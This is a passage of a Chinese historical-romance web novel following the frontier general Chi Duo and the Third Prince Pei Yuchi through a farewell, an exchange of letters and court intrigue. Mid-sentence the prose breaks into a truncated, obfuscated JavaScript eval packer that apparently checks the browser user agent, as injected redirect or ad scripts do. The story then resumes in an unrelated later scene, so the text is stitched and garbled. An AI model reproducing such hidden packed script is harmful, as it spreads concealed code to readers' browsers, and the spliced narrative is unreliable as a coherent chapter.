迟铎靠得很近,低声道了一句“走”,不等裴与驰问明去处,已将人拖着,从侧帐悄然溜了出去。守在外头的亲兵只当两位少年酒意上头,也未多问。 他拉着裴与驰去了马厩,姣雪与玄霜一黑一白,踏出营地,径直往草原深处而去。夜色渐阔,营火与人声被抛在身后,只余虫鸣风动。月在高处,清白如洗。 迟铎在草地上坐下,随手拍了拍身旁。裴与驰立了一瞬,终究还是走过去,在他身侧坐定。 迟铎仰头望月,道:“我早说过,白天天气这样好,晚上月亮准不会差。” 裴与驰随他看去,月光铺在草尖,也映上迟铎的侧脸,少年轮廓在光里分外清楚。 “这么肯定?”他问。 迟铎一副笃定模样,道:“这种事,我不会错。” 心底却暗暗较着劲:今夜若不圆,倒显得这月亮不识趣了。 若在往常,裴与驰少不得要取笑他一句,嫌迟小将军留在塞北大材小用,该去钦天监做个监正才是;可这一回,他只是看了迟铎一眼,并未反驳。 宴席那头的歌声隐约传来,又被夜风吹散。两人并肩坐着,谁也没有提回去。 正赏着月,忽有一物从旁掷来,是个鹿皮缝制的小袋,落在草地上几乎无声,做工细致,一看便知不俗。 迟铎拾起打开,里头是一面护心镜。 “我要回去了,用不上。”裴与驰语气随意。 迟铎微微蹙眉,道:“你回去的路可不近。” “无妨。”裴与驰道,“死不了。来时也没带,纯占地方。” 迟铎低头看着那面护心镜,一时没有作声。 裴与驰已将目光移回天际。月色落在他侧脸上,鼻梁挺直,轮廓分明。迟铎顺着看了一眼,目光便未能立时收回。 “看什么?”裴与驰问。 迟铎这才回神,将护心镜重新收回袋中,语气淡淡:“没什么。” 说罢抬头望天,竟真静静赏起月来。夜色澄明,圆月高悬,清辉如水。 他看了片刻,低声道:“今晚月色,倒是真好。” 裴与驰应了一声“嗯”,并未抬头。 月光映在迟铎脸侧,睫影轻覆眼下,夜风掠过时,微微一动,如风过麦浪。 裴与驰便这样看着。 两人并肩而坐,目光时而落在月色上,时而又偏开半寸,却总会不自觉地绕回彼此。那一轮明月,便在这来回之间,被他们看尽。 离别之日,终究还是到了。 三皇子素来不喜排场,也不愿惊动旁人,回程不设仪仗,不要人开道护送,只带着亲卫,除却多出一匹黑马,与来时并无二致,便要启程。 临行前,裴与驰走到迟铎面前,抬手捏了捏他脸颊上尚未褪尽的那点软肉,道了一句:“走了。” 营门前几乎同时静了一瞬。谋士的话噎在喉中,副将下意识绷紧背脊。迟将军心头一跳,脚已往前迈了半步,手也抬起。这刺头向来行事无忌,若一时失了分寸,哪怕只是甩开一下,也足够惹来非议。偏偏此时此刻,三皇子军中声望正盛,又分明并无恶意,这场面,最忌生事。 然而下一刻,迟铎仍立在原地,不躲不避,甚至连肩都未偏,只低低应了一声:“嗯。” “路上……小心些。” 周围的目光在二人之间掠过一瞬,便各自收回。 裴与驰很快收了手,未再多言,转身上马。亲卫应声而动,马蹄声接连响起,队伍缓缓离营。风卷尘起,转眼遮住来路。 迟铎站在原地,目送那行人远去,自始至终,一次也未见他回头。 方才还算热闹的营前,转眼便空了下来。 他低低骂了一句:走得倒是真利索。 风中忽然传来一声短促的笛音,不成调,却清亮异常,像是随意一吹,又似怕人听不见。隔了片刻,才被渐远的马蹄声吞没。 迟铎微微一怔,随即低低笑了一声,转瞬便敛去。他这才转身离开,同样没有回头。 人来人往,各有归途。 只是自这一日起,他怀中多了一面护心镜;而裴与驰身上,也多了一支骨笛。 昨夜赏月至深,迟铎思来想去,终究还是没能忍住,把那支一直收着的骨笛取了出来。狼的腿骨,边关最不缺的物什。他当初仔细挑了最直的一根,又请军中乐师指点,慢慢雕成。刀口生涩,废过两根,手上也添过伤,只是成品始终算不上精巧,胜在音色干净。但他嫌它不够好,便一直压在箱底,想着哪一日再修一修,总还能更像样些。 可若再迟一步,人便要走了。 递过去时,他只随口道:“路上无聊,吹着解闷。” 裴与驰接过,低头看了看,既未取笑,也未嫌弃,只在骨面上停了停指腹,问“你雕的?” 迟铎应了一声,语气漫不经心:“凑合能响。” 裴与驰便不再多问,将骨笛收进袖中。 两人依旧并肩坐着,看那轮月色渐渐西移,谁也没有起身,仿佛只要月亮尚在天上,便没有什么非走不可的理由。 可月亮终究会落。 迟铎走着走着,耳畔忽然又响起方才那声不成调的笛音。 他低低啧了一声,只道自己的手,果然还是更适合握刀,这般细活,本就不该指望。 至于那支骨笛,落在三皇子手里,也算各得其所;毕竟,三皇子的奏乐水准,实在也登不上什么大雅之堂。 73.古代-狸奴[番外] 人是走了,心却似乎并未分开。信自塞北出,又往长安去,一来一回,驿马不歇。 迟铎写信向来随性,落笔多是些零碎琐事:军中操练如何,夜里风雪几何,马厩里新添的小马脾气暴躁,险些踢翻饲料槽…….说来都不值一提,却又偏偏一件不落。写完之后,他自己看着也觉不像正经书信,索性拿去请军师润色。 军师初见时还笑着打趣:“小将军这是红鸾星动了?看上了哪家姑娘,竟这般费心。” 及至细看,却发现信中并无半句风花雪月,写的尽是鸡零狗碎、狗屁倒灶的小事,琐碎得紧,却又像怕漏了哪一件。军师方才还要再取笑一句,说这般枯燥琐事,怕是要把姑娘吓跑,话到嘴边却忽然顿住,他的目光落在信末最后一句上:殿下近来可安? 军师心中便明白了,这信是寄往那位曾短暂停留边境的三皇子处。他沉吟片刻,将信合上,又慢慢推了回去,只道一句:“字句已顺,无须多改。” 迟铎应了一声,收了信,神色如常。 而长安那头,也并不比塞北清净。 三皇子甫一入城,尚未及更衣歇脚,便先命驿站,将自己沿途写好的书信送出。信封不厚,字迹端正,语气却比往日松散许多。信中不谈朝政,只记些往日宫中学馆里的日常见闻:哪位老学究讲书讲到一半便打起了盹,书还摊在案上,人却险些睡过去;新入学的几个小皇子背书磕磕绊绊,错得离谱,被点名时一脸茫然;窗外的槐树今年抽芽得早,日影移来移去,落了满地斑驳。末了又添一笔,说今日讲兵法,恰好提及塞北旧事,被先生点名补说几句,结果被幼弟们围着追问了半晌,连散学的钟声都险些误了。 字里行间,尽是些无关紧要的小事,完全不像是他应有的笔墨。只是信写到最后,三皇子总要添上一句,狸奴近来可安? 初次收到信时,迟铎看得一头雾水。 他反复将那一句看了两遍,实在想不出塞北哪里来的狸奴。此地风硬雪烈,草深狼多,哪有那等在长安廊下打滚晒太阳的物什。若问狼崽子们安不安,他倒还能答得上来。前夜巡营,正撞见狼群出没,个个精神得很,半点不像有恙。他甚至认真想了想,若裴与驰当真好奇,改日也不是不能夜里走一趟狼窝,薅只狼崽子出来细细瞧过,再如实写回去。 想到这里,迟铎提笔欲写,又觉哪里不太对,索性作罢,只在信末规规矩矩添了一句:边地一切如常,请殿下勿念。 可书信一来二去,那一句却总也避不开。他在信中问一句“殿下近来可安”,对方便回一句“狸奴安否”;他换了说法,那边也照样对得严丝合缝,仿佛刻意为之。 迟铎这才渐渐琢磨出几分不对来。再细一想,心头猛地一跳,这“狸奴”,莫不是指的自己?念头一起,他反倒被气得笑了。这人也是稀奇,人都走了,隔着千里路,还不忘拿他取乐。 狸奴?哪有狸奴会守着边关风雪,夜里巡营,白日操练,顺手还要去跟狼群较劲。 这话在心里转了一圈,到底没写出来。提笔时,他在信末停了停,还是照旧落下那一句,殿下近来可安? 山高水远,人不在眼前,能问的,也就这么一句了。至于信里那声狸奴,他索性当没看见。 三皇子初回宫时,长衡县一事,早已先行半月递入京中。毕竟此事自发生之日,消息便已四散开来。各方耳目暗中奔走,或借商旅之便,或托驿卒传递,想方设法将风声送回长安,自然也少不了天家安插在外的眼线。有些话,尚未来得及写进折子,便已先一步入了御听。 只是圣上始终不动声色,既不发问,也不置喙。几派人心中各有盘算,却都只能按兵不动,耐着性子等那位刚回宫的三皇子,将案宗与实证一并呈上。 清流一派所盯的,首在长衡县县令盘剥乡里、鱼肉百姓之事;而三皇子与迟家之间,是否借边镇之便而私相援引,也在他们的目光之中。此案既未牵涉他们的人,便更显清正,两头都不肯轻放。既要追究地方官吏之责,也要防宗室结党之嫌。 右相一派,则咬住吴嵩不放。吴氏宗族盘根错节,长衡县正属其族中势力所及,失察不明、纵族害民之罪,几乎避无可避。与此同时,折中言辞愈发凌厉,顺势将闻铮也拖进来,照惯例扣上几只屎盆子,好叫对方无从干净抽身。可话锋转回时,又不忘把三皇子的果决写得醒目,胆识兼备,临事不乱,处置得宜。 左相自然不肯就此受制。他在折中只字不提三皇子功过,反倒一再强调此案尚未终结,诸般证据仍需逐条勘验,既不可因私怨而妄加指控,也不宜因一时之功而过早定论。话锋之中,又隐约提及宗室行止,当以谨慎为上,边地用权更需收敛分寸;朝中纲纪未定,君上与储位尚在,尤忌因功自矜、失于进退。 这一番话说得四平八稳,字字在理,听来尽是持重公允,实则却是把话头轻轻一推,推到那位方才回宫的三皇子面前。左相不急,只等裴与驰开口。朝堂之上,言多必失,越是少年得势,越容易露出锋芒。 裴与驰回宫之后,并未立刻入内问安,只回了自己的宫殿歇着。递来的拜帖一概推了,理由也简单:初回京中,舟车劳顿,边地风尘未洗,需静养几日。话说得合情合理,圆滑挑不出错。 这两日里,他几乎不出殿门。闲时翻翻旧书,也看几页话本,更多的时候,却是在案前写信。长安已是暮春。宫苑里柳色新绿,海棠开得正好,风从檐下掠过,带着一点暖意,与塞北那股尚未散尽的寒气,全然不同。 写到一半,他忽然停了笔,起身出了殿,在廊下折下一枝刚开的海棠。花色浅红,花瓣薄薄的,还沾着晨露。他低头看了一眼,也没多想,便将花夹进信中,一并交人送去驿站。 到了第三日清晨,裴与驰换了朝服,衣冠整肃,这才进宫递牌,入内拜见父皇。 圣上正在御书房中批阅折子,殿内只闻朱笔落纸之声。裴与驰入内行礼,叩首如仪。御案之后的人并未抬头。片刻后,圣上淡淡唤道:“景恒。”语气平常,既无久别的温言,也不见责问,仿佛立在殿中的,不过是个按期回京复命的臣子。 裴与驰低声应道:“儿臣在。” 圣上这才抬眼,看了他一眼。那张面容与裴与驰颇有几分相似,同样眉骨深刻、轮廓分明,只是岁月将锋芒尽数收进骨相之中,余下的,唯有不怒自威的沉压。目光在他身上停留不过一瞬,便又落回折子上。 “路上如何?” 裴与驰答:“尚可。” 圣上翻过一页:“匈奴帐里那一遭,也算尚可?” 裴与驰垂眸:“侥幸脱身。” “侥幸?”圣上轻轻重复了一遍,“迟家的人,手伸得倒快。” 裴与驰道:“当时情急,不过两个少年,一时逞意气。” 圣上未置可否,话锋却已转开:“长衡县的粮,是你亲自去取的。为粮,还是为人?” 裴与驰抬眼,答得极快:“为边关。” 圣上低笑了一声:“那吴义,死得不冤。”笑意倏然敛去,声音陡然转冷:“只是此人一死,牵动的,便不止他一条命。你这一剑下去,左相少了一臂,户部也要腾个位置出来。” 圣上看了他一眼,忽然问道:“你可有人选?” 语气听来随意,话中试探却极明显。吴义不过一卒,生死本不足论;可他身后站着的,是吴嵩,户部右侍郎,掌钱仓重任。 裴与驰并未顺势接话,只垂眸道:“儿臣此行,不过念着粮至军中,军心不乱。” 又低声补了一句:“事起仓促,多凭一时意气。儿臣年少,思虑未周,之后诸般收拾,自当听凭父皇裁断。” 圣上盯了他片刻,忽然问道:“沈研教你的?” 裴与驰答得不疾不徐:“兵书如此写,儿臣亦是依父皇一贯的教诲行事。” 御书房中静了一瞬,他自然知道,这话不假。裴与驰的锋芒、分寸,皆出自他手。只是宫墙之内,有些人的野心,从来不肯止于一步。 圣上合上折子,仿佛将方才那一串试探一并收起:“迟家,可有异心?” “未见。” “你呢?” 裴与驰顿了顿,低声道:“儿臣不敢。” 圣上看了他一眼,淡淡道:“案宗留下,退下吧。” 裴与驰告了退,出殿之后,并未回自己的宫苑,而是径直往内宫去,入了母妃的殿中。 沈皇贵妃早已得了信,殿内只留了两名近身宫人。她坐在窗下翻着一卷旧书,见他进来,抬眼看了一瞬,目光在他身上停了停,像是在确认他是否安然无恙。 沈皇贵妃其人,与她的名经纬一样,锋芒毕露。未出阁时,女诫没翻过几页,四书五经却早已熟稔,兵书也读得极勤。入宫于她而言,不过是换了一种更大的棋局。她从不讳言自己的野心。沈家要往上爬,皇位也要争。 而裴与驰,是她最满意的一步棋。 这个儿子,自幼便显露锋芒。读书、习武、临阵、应对,无一不精,行事有章,心性冷静,像极了她。朝中许多人私下都说,若真论才能,登上那个位置,于百姓并非坏事。 唯独在权力二字上,他显得过于克制。沈家的倚仗,小事他并不推拒,看着不似刻意疏远;可一旦牵扯根本,他便全数避开,规矩得像是永远只肯站在御座之后。便是这次监军,朝中几番运作,原本都尽数推给二皇子,那是苦差事,远赴边关,责重功薄,按理轮不到他,可最后应下的,却是裴与驰。 沈皇贵妃看着他,合上书卷:“父皇可曾为难你?” “问了几句。”裴与驰答得很简短。 沈皇贵妃没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手,打了个极轻的手势。身后伏着的亲兵无声应下,伏在夜色里,像一群耐心等候的猎犬。下一瞬,他翻身上马。不是姣雪,只是一匹寻常战马。马鞍、缰绳、披甲,皆是匈奴旧制,连腰间的刀,也是胡人惯用的弯刃。迟铎俯身贴在马背上,身形压得极低,夜风卷着雪粒,从盔沿擦过。 马蹄声骤起。 守在洞口的匈奴还未来得及出声,只觉喉间一凉。刀锋贴着颈骨划过,血溅在雪地上,连喊都没来得及喊,人便软倒下去。 迟铎未停。马过洞口,他反手一刀,卸了另一人的肩,惨叫刚起,便被箭羽压了回去。亲兵已然扑上,短刀入腹,弓弦轻响,动作干脆利落,没有半点多余声响。 混乱里,有几人被刻意放走。捂着伤处,踉踉跄跄地逃入夜色。迟铎收刀立定,站在洞前雪地里,目光冷冷地看了一眼那方向,唇角几不可察地动了动。他放走的,从来不是逃命的人。血既要流,自然该流到王帐那边去。 夜袭既毕,他翻身上马,带人迅速撤回。血腥气尚未散尽,甲胄上、袖口里,皆是未干的暗色。方回营,便见传信兵立在帐外。迟铎脚下一顿,下一瞬已伸手过去,动作快得很,可指尖将要触到时,他才猛地意识到自己满身是血。 他低低“啧”了一声,收回手。趁着迟了了不在,抬手便往他帐子上一抹。帘角、案沿,深深浅浅,全是未干的血印。 抹得差不多了,他才用两指夹着那封信,一路拎着若无其事地回了自己帐中。低头洗手,一遍,又一遍。血色顺着指缝流下去,很快被水冲淡,直到指节泛白,才算作罢。 这才取过那封信。 信封干净,字迹端正,边角分明,与方才帐外那一地腥红,格格不入。迟铎站在灯下看了一瞬,才伸手拆开。信纸滑落的同时,一朵海棠也跟着掉了出来。 花色浅红,瓣薄如绢,虽经一路颠簸,却还留着几分春意。 迟铎就这么看着,一时没动。那双方才握刀割喉的手,此刻却停在半空,竟不知该从何处落下。 他想了想,转身取来那本被自己翻了又翻的兵书。书脊磨旧,页角起了毛边,里头夹着密密麻麻的批注。他几乎不用找,指尖一翻,便到了笔记最多的那一页。 这才伸手,将那朵花轻轻托起。动作很慢,指腹刻意避着花瓣,像是怕一碰,便要碎在掌心。 花被夹进书页之间,他低头看了片刻,确认放稳了,才合上书,做完这些,他忍不住轻轻呼出一口气。 再展开信,目光落到末尾那一行“狸奴安在。” 迟铎微微一顿。方才夜袭狼洞,刀锋贴喉,血溅雪地,生死只在一息之间。偏偏这封信来得这样不早不晚,恰好问在他刚从险境里退出来的这一刻。 他撇了撇嘴,没有作声。 帐内血腥尚未散尽,夜风从帐缝里钻进来,冷得很;可他手边的书里,却藏了一点来自长安的春色。